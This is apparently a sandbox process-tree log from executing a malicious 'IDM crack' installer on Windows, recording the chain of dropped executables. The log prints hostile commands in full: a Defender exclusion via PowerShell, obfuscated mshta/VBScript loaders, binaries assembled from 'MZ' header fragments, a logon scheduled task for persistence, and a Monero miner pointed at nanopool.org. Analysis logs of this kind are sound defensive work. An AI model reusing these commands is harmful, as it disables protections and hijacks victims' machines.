"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6888 /prefetch:8
2⤵
PID:4236

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6412 /prefetch:8
2⤵
PID:5816

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3780

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_616a71_IDM-Crack-639-B (1).zip\IDM-Crack-639-Build-3-Patch---Serial-Key-Free-Download-Latest\616a71db69a92616-Passw0rd.txt
1⤵
PID:1112

C:\Users\Admin\AppData\Local\Temp\Temp1_616a71db69a92616_setup.zip\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_616a71db69a92616_setup.zip\setup_x86_x64_install.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3260

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1520

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:1212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
PID:1936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02a49e7e3a431c7.exe
4⤵
PID:928

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02a49e7e3a431c7.exe
Sat02a49e7e3a431c7.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3592

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02a49e7e3a431c7.exe
C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02a49e7e3a431c7.exe
6⤵
- Executes dropped EXE
PID:4900

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat023473347dfed5a.exe
4⤵
PID:3524

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat023473347dfed5a.exe
Sat023473347dfed5a.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4276

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
6⤵
PID:5984

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
7⤵
- Kills process with taskkill
PID:4328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
6⤵
PID:6008

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xe8,0xec,0xf0,0xc4,0xf4,0x7ff96ec54f50,0x7ff96ec54f60,0x7ff96ec54f70
7⤵
PID:7528

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat0296c9dad7692023.exe /mixone
4⤵
PID:2756

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat0296c9dad7692023.exe
Sat0296c9dad7692023.exe /mixone
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 660
6⤵
- Drops file in Windows directory
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 672
6⤵
- Program crash
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 696
6⤵
- Program crash
PID:6072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 732
6⤵
- Program crash
PID:5688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 728
6⤵
- Program crash
PID:1636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02392068575.exe
4⤵
PID:4116

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02392068575.exe
Sat02392068575.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4364

C:\Users\Admin\AppData\Roaming\7435218.scr
"C:\Users\Admin\AppData\Roaming\7435218.scr" /S
6⤵
- Executes dropped EXE
PID:4972

C:\Users\Admin\AppData\Roaming\1084269.scr
"C:\Users\Admin\AppData\Roaming\1084269.scr" /S
6⤵
- Executes dropped EXE
PID:4736

C:\Users\Admin\AppData\Roaming\8778922.scr
"C:\Users\Admin\AppData\Roaming\8778922.scr" /S
6⤵
- Executes dropped EXE
PID:1260

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
PID:5744

C:\Users\Admin\AppData\Roaming\8054865.scr
"C:\Users\Admin\AppData\Roaming\8054865.scr" /S
6⤵
PID:5160

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02bf7d5639a.exe
4⤵
PID:4128

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02bf7d5639a.exe
Sat02bf7d5639a.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02614aa7aa9e9d.exe
4⤵
PID:4204

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02614aa7aa9e9d.exe
Sat02614aa7aa9e9d.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4652

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02614aa7aa9e9d.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02614aa7aa9e9d.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
6⤵
PID:5000

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02614aa7aa9e9d.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02614aa7aa9e9d.exe") do taskkill /F -Im "%~NxU"
7⤵
PID:4108

C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
8⤵
- Executes dropped EXE
PID:4888

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
9⤵
PID:5012

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
10⤵
PID:5444

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
9⤵
PID:6116

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
10⤵
PID:6452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
11⤵
PID:6640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
11⤵
PID:6884

C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
11⤵
PID:5556

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
12⤵
PID:1476

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
13⤵
PID:5980

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
14⤵
PID:5136

C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Sat02614aa7aa9e9d.exe"
8⤵
- Kills process with taskkill
PID:4852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat025fdceb8a76.exe
4⤵
PID:4348

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat025fdceb8a76.exe
Sat025fdceb8a76.exe
5⤵
PID:4848

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIPt: ClOsE ( CreatEObJEct("WsCrIPT.SheLL" ).rUn ("CMD.eXe /R CoPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat025fdceb8a76.exe"" v1PLLMTR6Us.eXe &&sTArT V1PLLMTR6Us.EXE -Pfj2~BykFzhrErek &if """" =="""" for %r IN (""C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat025fdceb8a76.exe"" ) do taskkill -F -im ""%~nXr"" ",0 ,TRue ) )
6⤵
PID:4844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R CoPY /y "C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat025fdceb8a76.exe" v1PLLMTR6Us.eXe &&sTArT V1PLLMTR6Us.EXE -Pfj2~BykFzhrErek &if "" =="" for %r IN ("C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat025fdceb8a76.exe" ) do taskkill -F -im "%~nXr"
7⤵
PID:5404

C:\Users\Admin\AppData\Local\Temp\v1PLLMTR6Us.eXe
V1PLLMTR6Us.EXE -Pfj2~BykFzhrErek
8⤵
PID:5696

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIPt: ClOsE ( CreatEObJEct("WsCrIPT.SheLL" ).rUn ("CMD.eXe /R CoPY /y ""C:\Users\Admin\AppData\Local\Temp\v1PLLMTR6Us.eXe"" v1PLLMTR6Us.eXe &&sTArT V1PLLMTR6Us.EXE -Pfj2~BykFzhrErek &if ""-Pfj2~BykFzhrErek "" =="""" for %r IN (""C:\Users\Admin\AppData\Local\Temp\v1PLLMTR6Us.eXe"" ) do taskkill -F -im ""%~nXr"" ",0 ,TRue ) )
9⤵
PID:3204

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R CoPY /y "C:\Users\Admin\AppData\Local\Temp\v1PLLMTR6Us.eXe" v1PLLMTR6Us.eXe &&sTArT V1PLLMTR6Us.EXE -Pfj2~BykFzhrErek &if "-Pfj2~BykFzhrErek " =="" for %r IN ("C:\Users\Admin\AppData\Local\Temp\v1PLLMTR6Us.eXe" ) do taskkill -F -im "%~nXr"
10⤵
PID:6216

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscrIpt:CLoSE (CReateObJect( "WsCriPT.shELL").RuN ("C:\Windows\system32\cmd.exe /Q /c eCHo | SeT /P = ""MZ"" > ExEVJL.g& COPy /Y /B ExEVJL.G + U8U4.ZD + 2NJZD~L.hj +YG7HWLI_.4 CA~K8RAL.W & starT msiexec.exe /y .\CA~K8RAL.W & dEl U8U4.ZD 2NjZD~L.HJ YG7HWLI_.4 ExEVJL.G " , 0 ,True ) )
9⤵
PID:5984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /Q /c eCHo | SeT /P = "MZ" > ExEVJL.g& COPy /Y /B ExEVJL.G +U8U4.ZD + 2NJZD~L.hj+YG7HWLI_.4 CA~K8RAL.W &starT msiexec.exe /y .\CA~K8RAL.W & dEl U8U4.ZD 2NjZD~L.HJ YG7HWLI_.4 ExEVJL.G
10⤵
PID:6376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
11⤵
PID:6916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>ExEVJL.g"
11⤵
PID:5528

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe /y .\CA~K8RAL.W
11⤵
PID:7992

C:\Windows\SysWOW64\taskkill.exe
taskkill -F -im "Sat025fdceb8a76.exe"
8⤵
- Kills process with taskkill
PID:5528

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat0264f0e3e2e3407e.exe
4⤵
PID:4544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02f9cd0f8f.exe
4⤵
PID:4516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02ef0dfe9e5.exe
4⤵
PID:4448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02be63d703bf9.exe
4⤵
PID:4404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02a6e1469543.exe
4⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat0292f4622e87ae.exe
4⤵
PID:4264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02827e2943c1f18a7.exe
4⤵
PID:4180

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat02b7c3d3dc184.exe
4⤵
PID:4148

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02827e2943c1f18a7.exe
Sat02827e2943c1f18a7.exe
1⤵
- Executes dropped EXE
PID:4240

C:\Users\Admin\AppData\Local\Temp\is-88OPT.tmp\Sat02b7c3d3dc184.tmp
"C:\Users\Admin\AppData\Local\Temp\is-88OPT.tmp\Sat02b7c3d3dc184.tmp" /SL5="$40284,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02b7c3d3dc184.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4732

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02b7c3d3dc184.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02b7c3d3dc184.exe" /SILENT
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5024

C:\Users\Admin\AppData\Local\Temp\is-VVH07.tmp\Sat02b7c3d3dc184.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VVH07.tmp\Sat02b7c3d3dc184.tmp" /SL5="$202EE,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02b7c3d3dc184.exe" /SILENT
3⤵
PID:5084

C:\Users\Admin\AppData\Local\Temp\is-O486C.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-O486C.tmp\postback.exe" ss1
4⤵
PID:5376

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02ef0dfe9e5.exe
Sat02ef0dfe9e5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4780

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
2⤵
- Executes dropped EXE
PID:4644

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
3⤵
PID:4912

C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
3⤵
PID:5340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5340 -s 892
4⤵
- Program crash
PID:6088

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
3⤵
PID:5504

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
4⤵
PID:752

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
3⤵
PID:5216

C:\Users\Admin\AppData\Roaming\7820254.scr
"C:\Users\Admin\AppData\Roaming\7820254.scr" /S
4⤵
PID:4584

C:\Users\Admin\AppData\Roaming\2874794.scr
"C:\Users\Admin\AppData\Roaming\2874794.scr" /S
4⤵
PID:6748

C:\Users\Admin\AppData\Roaming\1130911.scr
"C:\Users\Admin\AppData\Roaming\1130911.scr" /S
4⤵
PID:6680

C:\Users\Admin\AppData\Roaming\7003059.scr
"C:\Users\Admin\AppData\Roaming\7003059.scr" /S
4⤵
PID:6288

C:\Users\Admin\AppData\Roaming\8398969.scr
"C:\Users\Admin\AppData\Roaming\8398969.scr" /S
4⤵
PID:5144

C:\Users\Admin\AppData\Roaming\7535759.scr
"C:\Users\Admin\AppData\Roaming\7535759.scr" /S
4⤵
PID:6596

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\is-5B63B.tmp\setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5B63B.tmp\setup.tmp" /SL5="$30428,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
4⤵
PID:5980

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
3⤵
PID:5856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 668
4⤵
- Program crash
PID:6864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 700
4⤵
- Program crash
PID:6348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 720
4⤵
- Program crash
PID:6968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 744
4⤵
- Program crash
PID:7048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 772
4⤵
- Program crash
PID:7128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1296
4⤵
- Program crash
PID:5404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1272
4⤵
- Program crash
PID:7596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1316
4⤵
- Program crash
PID:7912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1304
4⤵
- Program crash
PID:8008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1380
4⤵
- Program crash
PID:6456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1360
4⤵
- Program crash
PID:7676

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
3⤵
PID:6088

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
4⤵
PID:6268

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
5⤵
- Creates scheduled task(s)
PID:7532

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
4⤵
PID:7404

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
5⤵
PID:8184

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
6⤵
- Creates scheduled task(s)
PID:2508

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
5⤵
PID:6452

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
5⤵
PID:9828

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
3⤵
PID:5968

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5968 -s 1528
4⤵
- Program crash
PID:5532

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat0264f0e3e2e3407e.exe
Sat0264f0e3e2e3407e.exe
1⤵
- Executes dropped EXE
PID:4716

C:\Users\Admin\Pictures\Adobe Films\JOcFG0bPG12eJseLIAvlklPw.exe
"C:\Users\Admin\Pictures\Adobe Films\JOcFG0bPG12eJseLIAvlklPw.exe"
2⤵
PID:5988

C:\Users\Admin\Pictures\Adobe Films\YvO5wR8JYIlkFGmMYBTI3ruV.exe
"C:\Users\Admin\Pictures\Adobe Films\YvO5wR8JYIlkFGmMYBTI3ruV.exe"
2⤵
PID:6376

C:\Users\Admin\Pictures\Adobe Films\Wj1iuxNJaumDpVu2ld7ymeE3.exe
"C:\Users\Admin\Pictures\Adobe Films\Wj1iuxNJaumDpVu2ld7ymeE3.exe"
2⤵
PID:6484

C:\Users\Admin\Pictures\Adobe Films\Wj1iuxNJaumDpVu2ld7ymeE3.exe
"C:\Users\Admin\Pictures\Adobe Films\Wj1iuxNJaumDpVu2ld7ymeE3.exe"
3⤵
PID:6988

C:\Users\Admin\Pictures\Adobe Films\kmvSBMoE5ToWBQoeCkkrg370.exe
"C:\Users\Admin\Pictures\Adobe Films\kmvSBMoE5ToWBQoeCkkrg370.exe"
2⤵
PID:6672

C:\Users\Admin\Documents\RKmiaJ3BcsvlXqI4tOgn8lNM.exe
"C:\Users\Admin\Documents\RKmiaJ3BcsvlXqI4tOgn8lNM.exe"
3⤵
PID:8140

C:\Users\Admin\Pictures\Adobe Films\fAfnbMWONcpNaIy6sAEEcwLR.exe
"C:\Users\Admin\Pictures\Adobe Films\fAfnbMWONcpNaIy6sAEEcwLR.exe"
4⤵
PID:5528

C:\Users\Admin\Pictures\Adobe Films\hoNJxU0ksG8Ca1JMHgGKTpTi.exe
"C:\Users\Admin\Pictures\Adobe Films\hoNJxU0ksG8Ca1JMHgGKTpTi.exe"
4⤵
PID:6012

C:\Users\Admin\Pictures\Adobe Films\Y9SiqiAZCE52YallgCplGH9Z.exe
"C:\Users\Admin\Pictures\Adobe Films\Y9SiqiAZCE52YallgCplGH9Z.exe" /mixtwo
4⤵
PID:3500

C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe
"C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe"
4⤵
PID:4544

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
5⤵
PID:8216

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\gYh5cLKlWsR4kYrqY8Cheuy1.exe" ) do taskkill -f -iM "%~NxM"
6⤵
PID:8632

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "gYh5cLKlWsR4kYrqY8Cheuy1.exe"
7⤵
- Kills process with taskkill
PID:9144

C:\Users\Admin\Pictures\Adobe Films\7rdQBHh4jwp43dyCcEq4N5Wu.exe
"C:\Users\Admin\Pictures\Adobe Films\7rdQBHh4jwp43dyCcEq4N5Wu.exe"
4⤵
PID:6240

C:\Users\Admin\Pictures\Adobe Films\wF2ORUgREFAyYaCX9_zd2cbs.exe
"C:\Users\Admin\Pictures\Adobe Films\wF2ORUgREFAyYaCX9_zd2cbs.exe"
4⤵
PID:5360

C:\Users\Admin\Pictures\Adobe Films\JJE8mhKp3wRtTAqRnpDNRjRx.exe
"C:\Users\Admin\Pictures\Adobe Films\JJE8mhKp3wRtTAqRnpDNRjRx.exe"
4⤵
PID:8360

C:\Users\Admin\AppData\Local\Temp\is-M1T0U.tmp\JJE8mhKp3wRtTAqRnpDNRjRx.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M1T0U.tmp\JJE8mhKp3wRtTAqRnpDNRjRx.tmp" /SL5="$405C6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\JJE8mhKp3wRtTAqRnpDNRjRx.exe"
5⤵
PID:8472

C:\Users\Admin\AppData\Local\Temp\is-RBDIM.tmp\ShareFolder.exe
"C:\Users\Admin\AppData\Local\Temp\is-RBDIM.tmp\ShareFolder.exe" /S /UID=2709
6⤵
PID:8832

C:\Program Files\Java\BVGMREWKMT\foldershare.exe
"C:\Program Files\Java\BVGMREWKMT\foldershare.exe" /VERYSILENT
7⤵
PID:7800

C:\Users\Admin\AppData\Local\Temp\e8-643b3-4ab-0adaf-02243234a799f\Gevaraexaqy.exe
"C:\Users\Admin\AppData\Local\Temp\e8-643b3-4ab-0adaf-02243234a799f\Gevaraexaqy.exe"
7⤵
PID:1644

